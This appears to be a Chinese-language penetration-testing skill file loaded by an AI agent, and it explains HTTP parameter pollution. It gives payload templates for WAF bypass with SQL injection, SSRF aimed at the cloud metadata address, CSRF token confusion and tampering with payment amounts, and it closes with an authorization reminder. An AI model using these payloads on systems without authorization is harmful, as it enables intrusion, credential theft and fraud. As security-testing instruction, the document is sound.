HTTP 参数污染(HPP):当 query 或 body 中出现重复 key 时,服务器、代理、WAF 和应用框架的解析方式各不相同。当过滤层与应用层对“哪个值优先生效”存在分歧时使用此 Skill,可用于绕过防御、SSRF 二次 URL 注入、业务逻辑滥用或 CSRF token 混淆。
SKILL: HTTP Parameter Pollution (HPP)
AI 加载指令:建立完整请求路径的模型:浏览器 → CDN/WAF → 反向代理 → 应用框架 → 业务代码。在 HTTP 协议层面,重复 key(如
a=1&a=2)并不算报错;每个节点/中间件可能会选择取第一个、取最后一个、用逗号拼接或转为数组。当 WAF 与后端应用对参数理解不一致、或内部 HTTP 客户端重新拼接 query string 时,测试 HPP 漏洞。路由说明:当同一个参数多次出现,或 WAF 与后端技术栈不同时,先参考“1. 服务端行为矩阵”测试“取首位/取末位/合并”的假设,再设计“3. 攻击场景”中的组合链。
0. 快速开始
核心假设:安全检查层读取的是参数的某一次出现,而实际业务操作读取的是另一次出现。
初筛 Payload
id=1&id=2
id=1&id=1%20OR%201=1
url=https://legit.example&id=https://evil.example
amount=1&amount=9999
csrf=TOKEN_A&csrf=TOKEN_B
user=alice&user=admin
Body 变体(针对 POST 请求)
application/x-www-form-urlencoded
id=1&id=2
multipart/form-data
------boundary
Content-Disposition: form-data; name="id"
1
------boundary
Content-Disposition: form-data; name="id"
2
快速测试方法
- 使用基础 Payload
a=1&a=2对前置技术栈(CDN/WAF)与源站技术栈(语言/框架)进行指纹比对。 - 尝试两种顺序:
a=1&a=2以及a=2&a=1(某些解析器具有顺序敏感性)。 - 如果是 JSON 请求:测试 重复 key 和 Content-Type 混淆(详见第 2 节)。
1. 服务端行为矩阵
常见默认行为 —— 务必实测确认;中间件和自定义解析器可能会覆盖这些默认配置。
| 技术栈 | 默认解析行为 | 示例:a=1&a=2 |
|---|---|---|
PHP / Apache ($_GET) |
取最后一个值 | a=2 |
| ASP.NET / IIS | 常用逗号拼接(全部保留) | a=1,2 |
| JSP / Tomcat (servlet param) | 取第一个值 | a=1 |
Python / Django (QueryDict) |
取最后一个值 | a=2 |
Python / Flask (request.args) |
取第一个值 | a=1 |
Node.js / Express (req.query) |
解析为数组 | a=['1','2'](数据结构可能随解析器版本变动) |
| Perl / CGI | 取第一个值 | a=1 |
| Ruby / Rack (Rack::Utils) | 取最后一个值 | a=2 |
Go net/http (ParseQuery) |
取第一个值 | a=1 |
为什么这很重要:运行在 IIS 上的 WAF 看到的参数可能是 1,2,而后面的 PHP 后端拿到的仅有 2 —— 如果反向代理对请求进行了规范化处理,情况也可能相反。
2. PAYLOAD 常见模式
2.1 基础重复 Key
GET /api?q=safe&q=evil HTTP/1.1
2.2 数组风格(PHP / 部分框架)
GET /api?id[]=1&id[]=2 HTTP/1.1
2.3 数组与标量混用
GET /api?item[]=a&item=b HTTP/1.1
2.4 URL 编码后的连接符 &(解析器解码差异)
# 参数值内部字面量 & 与新参数对 —— 取决于解码顺序和位置
param=value1%26other=value2
param=value1&other=value2
2.5 嵌套 / 方括号 Key
GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1
2.6 JSON 重复 Key
{"test":"user","test":"admin"}
许多解析器只保留最后一个 key;部分解析器保留第一个。JavaScript 的 JSON.parse 默认保留最后一个重复 key。
3. 常见攻击场景
3.1 HPP + WAF 绕过
攻击模式:WAF 检查第一个值,而后端应用读取并使用最后一个值。
id=1&id=1%20UNION%20SELECT%20...
也可以尝试:在 JSON 字段中放合法值,并在 query string 中重复该字段,前提是 API 网关在合并不同请求来源时存在差异。
3.2 HPP + SSRF
攻击模式:URL 校验器读取合法 URL,而发包器/请求组件读取内部/恶意 URL。
url=https://allowed.cdn.example/&url=http://169.254.169.254/
务必确认哪个组件(底层库 vs 上层应用逻辑)分别消耗/读取了第几次出现的参数。
3.3 HPP + CSRF
攻击模式:重复发送 anti-CSRF token,使其中一个副本满足解析器 A 的校验,另一个副本满足解析器 B 的校验。
csrf=LEGIT&csrf=IGNORED_OR_ALT
仅在获得合法授权的 CSRF 测试中使用,且目标必须具有明确的状态变更操作。
3.4 HPP + 业务逻辑缺陷(如支付逻辑)
amount=1&amount=5000
quantity=1&quantity=-1
price=9.99&price=0.01
配合竞态条件(Race Condition)或服务端舍入计算可获得更高危害;单独使用 HPP 通常需要跨多层架构产生不同的参数解释。
4. 推荐工具
| 工具 | 使用方式 |
|---|---|
| Burp Suite | Repeater:在原始 query/body 中手动复制 key;使用 Param Miner 或相关插件挖掘隐藏参数;对比响应报文以判断服务端是优先取 first 还是 last |
| OWASP ZAP | 使用 Manual Request Editor(手动请求编辑器);自动化扫描可能不会深度模糊测试 HPP —— 建议优先进行手动变体测试 |
| 自定义脚本 | 构建精准的原始 HTTP 请求(保持参数顺序)—— 部分 HTTP 客户端库会自动去重或规范化参数 |
小贴士:如果你控制测试环境,建议在应用端记录原始(raw) query string;部分框架在应用代码层只暴露“胜出”的参数值,但底层日志会保留完整的字符串。
5. 决策树
+-------------------------+
| 同一请求中出现重复 |
| 参数名称 |
+------------+------------+
|
+------------------+------------------+
| |
+------v------+ +------v------+
| 仅单层应用 | | WAF / CDN |
| 架构 | | 反代链路 |
+------+------+ +------+------+
| |
+---------v---------+ +---------v---------+
| 查阅框架文档 + | | 梳理每级节点行为:|
| 测试 a=1&a=2 | | 取首/取尾/拼接/ |
| 及颠倒顺序 | | 数组化 |
+---------+---------+ +---------+---------+
| |
+------------------+------------------+
|
+------v------+
| 选择匹配的 |
| 攻击模板 |
+------+------+
|
+-----------+-----------+-----------+-----------+
| | | | |
+----v----+ +----v----+ +----v----+ +----v----+ +----v----+
| WAF与应用 | | SSRF | | CSRF | | 业务逻辑 | | JSON |
| 取值分歧 | | 分离 URL| | Token混淆 | | 数值字段 | | 重复Key |
+---------+ +---------+ +---------+ +---------+ +---------+
安全与授权范围:HPP 测试可能会修改服务端状态(如支付金额、账号设置等)。请务必在获得明确授权的范围内操作,使用测试专用账号,并在发起高风险请求前做好解析器行为验证与记录。






